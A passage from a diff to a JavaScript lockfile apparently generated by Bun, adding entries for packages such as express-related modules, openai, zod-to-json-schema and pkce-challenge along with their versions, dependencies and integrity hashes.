"sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg=="], + "lru-cache": ["lru-cache@11.2.6", "", {}, "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ=="], "magic-string": ["magic-string@0.30.8", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.4.15" } }, "sha512-ISQTe55T2ao7XtlAStud6qwYPZjE4GK1S/BeVPus4jrq6JuOnQ00YKQC581RWhR122W7msZV263KzVeLoqidyQ=="], "marked": ["marked@15.0.12", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA=="], + "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], + + "media-typer": ["media-typer@1.1.0", "", {}, "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw=="], + + "merge-descriptors": ["merge-descriptors@1.0.3", "", {}, "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ=="], + + "methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="], + + "mime": ["mime@1.6.0", "", { "bin": { "mime": "cli.js" } }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="], + + "mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + + "mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + "minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], @@ -430,6 +666,12 @@ "mz": ["mz@2.7.0", "", { "dependencies": { "any-promise": "^1.0.0", "object-assign": "^4.0.1", "thenify-all": "^1.0.0" } }, "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q=="], + "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + + "negotiator": ["negotiator@0.6.3", "", {}, "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="], + + "node-domexception": ["node-domexception@1.0.0", "", {}, "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ=="], + "node-fetch": ["node-fetch@2.7.0", "", { "dependencies": { "whatwg-url": "^5.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "optionalPeers": ["encoding"] }, "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A=="], "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], @@ -440,20 +682,40 @@ "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="], + + "on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="], + + "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], + + "openai": ["openai@6.25.0", "", { "peerDependencies": { "ws": "^8.18.0", "zod": "^3.25 || ^4.0" }, "optionalPeers": ["ws", "zod"], "bin": { "openai": "bin/cli" } }, "sha512-mEh6VZ2ds2AGGokWARo18aPISI1OhlgdEIC1ewhkZr8pSIT31dec0ecr9Nhxx0JlybyOgoAT1sWeKtwPZzJyww=="], + + "openapi-types": ["openapi-types@12.1.3", "", {}, "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw=="], + "p-limit": ["p-limit@7.2.0", "", { "dependencies": { "yocto-queue": "^1.2.1" } }, "sha512-ATHLtwoTNDloHRFFxFJdHnG6n2WUeFjaR8XQMFdKIv0xkXjrER8/iG9iu265jOM95zXHAfv9oTkqhrfbIzosrQ=="], "p-locate": ["p-locate@5.0.0", "", { "dependencies": { "p-limit": "^3.0.2" } }, "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw=="], + "p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="], + + "p-retry": ["p-retry@7.1.1", "", { "dependencies": { "is-network-error": "^1.1.0" } }, "sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w=="], + "parse-ms": ["parse-ms@4.0.0", "", {}, "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw=="], "parse5": ["parse5@5.1.1", "", {}, "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug=="], "parse5-htmlparser2-tree-adapter": ["parse5-htmlparser2-tree-adapter@6.0.1", "", { "dependencies": { "parse5": "^6.0.1" } }, "sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA=="], + "parseurl": ["parseurl@1.3.3", "", {}, "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="], + "path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="], + "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], + "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="], + "path-to-regexp": ["path-to-regexp@0.1.12", "", {}, "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ=="], + "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], "pg-int8": ["pg-int8@1.0.1", "", {}, "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw=="], @@ -466,6 +728,8 @@ "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + "pkce-challenge": ["pkce-challenge@5.0.1", "", {}, "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ=="], + "postgres-array": ["postgres-array@2.0.0", "", {}, "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA=="], "postgres-bytea": ["postgres-bytea@1.0.1", "", {}, "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ=="], @@ -478,26 +742,74 @@ "progress": ["progress@2.0.3", "", {}, "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA=="], + "proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="], + "proxy-from-env": ["proxy-from-env@1.1.0", "", {}, "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="], "pure-rand": ["pure-rand@7.0.1", "", {}, "sha512-oTUZM/NAZS8p7ANR3SHh30kXB+zK2r2BPcEn/awJIbOvq82WoMN4p62AWWp3Hhw50G0xMsw1mhIBLqHw64EcNQ=="], "qrcode-terminal": ["qrcode-terminal@0.12.0", "", { "bin": { "qrcode-terminal": "./bin/qrcode-terminal.js" } }, "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ=="], + "qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="], + + "quansync": ["quansync@0.2.11", "", {}, "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA=="], + + "radash": ["radash@12.1.1", "", {}, "sha512-h36JMxKRqrAxVD8201FrCpyeNuUY9Y5zZwujr20fFO77tpUtGa6EZzfKw/3WaiBX95fq7+MpsuMLNdSnORAwSA=="], + + "range-parser": ["range-parser@1.2.1", "", {}, "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="], + + "raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="], + "readdirp": ["readdirp@3.6.0", "", { "dependencies": { "picomatch": "^2.2.1" } }, "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA=="], "require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="], + "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], + "require-in-the-middle": ["require-in-the-middle@8.0.1", "", { "dependencies": { "debug": "^4.3.5", "module-details-from-path": "^1.0.3" } }, "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ=="], + "router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="], + + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], + + "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], + + "section-matter": ["section-matter@1.0.0", "", { "dependencies": { "extend-shallow": "^2.0.1", "kind-of": "^6.0.0" } }, "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA=="], + + "secure-json-parse": ["secure-json-parse@2.7.0", "", {}, "sha512-6aU+Rwsezw7VR8/nyvKTx8QpWH9FrcYiXXlqC4z5d5XQBDRqtbfsRjnwGyqbi3gddNtWHuEk9OANUotL26qKUw=="], + "semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], + "send": ["send@0.19.2", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "~0.5.2", "http-errors": "~2.0.1", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "~2.4.1", "range-parser": "~1.2.1", "statuses": "~2.0.2" } }, "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg=="], + + "serve-static": ["serve-static@1.16.3", "", { "dependencies": { "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "parseurl": "~1.3.3", "send": "~0.19.1" } }, "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA=="], + + "setprototypeof": ["setprototypeof@1.2.0", "", {}, "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="], + + "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], + + "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], + + "side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="], + + "side-channel-list": ["side-channel-list@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3" } }, "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA=="], + + "side-channel-map": ["side-channel-map@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3" } }, "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA=="], + + "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="], + "sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="], + "sprintf-js": ["sprintf-js@1.0.3", "", {}, "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="], + + "statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="], + "string-width": ["string-width@8.2.0", "", { "dependencies": { "get-east-asian-width": "^1.5.0", "strip-ansi": "^7.1.2" } }, "sha512-6hJPQ8N0V0P3SNmP6h2J99RLuzrWz2gvT7VnK5tKvrNqJoyS9W4/Fb8mo31UiPvy00z7DQXkP2hnKBVav76thw=="], "strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + "strip-bom-string": ["strip-bom-string@1.0.0", "", {}, "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g=="], + "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], "thenify": ["thenify@3.3.1", "", { "dependencies": { "any-promise": "^1.0.0" } }, "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw=="], @@ -510,24 +822,36 @@ "to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="], + "toidentifier": ["toidentifier@1.0.1", "", {}, "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="], + "tr46": ["tr46@0.0.3", "", {}, "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw=="], "trpc-cli": ["trpc-cli@0.12.2", "", { "dependencies": { "commander": "^14.0.0" }, "peerDependencies": { "@orpc/server": "^1.0.0", "@trpc/server": "^10.45.2 || ^11.0.1", "@valibot/to-json-schema": "^1.1.0", "effect": "^3.14.2 || ^4.0.0", "valibot": "^1.1.0", "zod": "^3.24.0 || ^4.0.0" }, "optionalPeers": ["@orpc/server", "@trpc/server", "@valibot/to-json-schema", "effect", "valibot", "zod"], "bin": { "trpc-cli": "dist/bin.js" } }, "sha512-kGNCiyOimGlfcZFImbWzFF2Nn3TMnenwUdyuckiN5SEaceJbIac7+Iau3WsVHjQpoNgugFruZMDOKf8GNQNtJw=="], + "type-is": ["type-is@2.0.1", "", { "dependencies": { "content-type": "^1.0.5", "media-typer": "^1.1.0", "mime-types": "^3.0.0" } }, "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw=="], + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], "ultracite": ["ultracite@6.3.10", "", { "dependencies": { "@clack/prompts": "^0.11.0", "@trpc/server": "^11.7.2", "deepmerge": "^4.3.1", "glob": "^13.0.0", "jsonc-parser": "^3.3.1", "nypm": "^0.6.2", "trpc-cli": "^0.12.1", "zod": "^4.1.13" }, "bin": { "ultracite": "dist/index.js" } }, "sha512-I41KoWl09PklvXTdN4JWgs+6Z6n5PERDJGj1hOQXYEMbmKXZLrulG2QAZNEMJ9pdGwtcGk/MevpllWYXM5Wq3A=="], "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "unpipe": ["unpipe@1.0.0", "", {}, "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="], + "unplugin": ["unplugin@1.0.1", "", { "dependencies": { "acorn": "^8.8.1", "chokidar": "^3.5.3", "webpack-sources": "^3.2.3", "webpack-virtual-modules": "^0.5.0" } }, "sha512-aqrHaVBWW1JVKBHmGo33T5TxeL0qWzfvjWokObHA9bYmN7eNDkwOxmLjhioHl9878qDFMAaT51XNroRyuz7WxA=="], "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], + "utils-merge": ["utils-merge@1.0.1", "", {}, "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="], + "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], "uuidv7": ["uuidv7@1.1.0", "", { "bin": { "uuidv7": "cli.js" } }, "sha512-2VNnOC0+XQlwogChUDzy6pe8GQEys9QFZBGOh54l6qVfwoCUwwRvk7rDTgaIsRgsF5GFa5oiNg8LqXE3jofBBg=="], + "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], + + "web-streams-polyfill": ["web-streams-polyfill@4.0.0-beta.3", "", {}, "sha512-QW95TCTaHmsYfHDybGMwO5IJIM93I/6vTRk+daHTWFPhwh+C8Cg7j7XyKrwrj8Ib6vYXe0ocYNrmzY4xAAN6ug=="], + "webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="], "webpack-sources": ["webpack-sources@3.3.3", "", {}, "sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg=="], @@ -540,8 +864,12 @@ "wrap-ansi": ["wrap-ansi@10.0.0", "", { "dependencies": { "ansi-styles": "^6.2.3", "string-width": "^8.2.0", "strip-ansi": "^7.1.2" } }, "sha512-SGcvg80f0wUy2/fXES19feHMz8E0JoXv2uNgHOu4Dgi2OrCy1lqwFYEJz1BLbDI0exjPMe/ZdzZ/YpGECBG/aQ=="], + "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], + "xtend": ["xtend@4.0.2", "", {}, "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="], + "xxhash-wasm": ["xxhash-wasm@1.1.0", "", {}, "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA=="], + "y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="], "yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], @@ -554,14 +882,36 @@ "zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="], + "zod-from-json-schema": ["zod-from-json-schema@0.5.2", "", { "dependencies": { "zod": "^4.0.17" } }, "sha512-/dNaicfdhJTOuUd4RImbLUE2g5yrSzzDjI/S6C2vO2ecAGZzn9UcRVgtyLSnENSmAOBRiSpUdzDS6fDWX3Z35g=="], + + "zod-from-json-schema-v3": ["zod-from-json-schema@0.0.5", "", { "dependencies": { "zod": "^3.24.2" } }, "sha512-zYEoo86M1qpA1Pq6329oSyHLS785z/mTwfr9V1Xf/ZLhuuBGaMlDGu/pDVGVUe4H4oa1EFgWZT53DP0U3oT9CQ=="], + + "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="], + + "@a2a-js/sdk/uuid": ["uuid@11.1.0", "", { "bin": { "uuid": 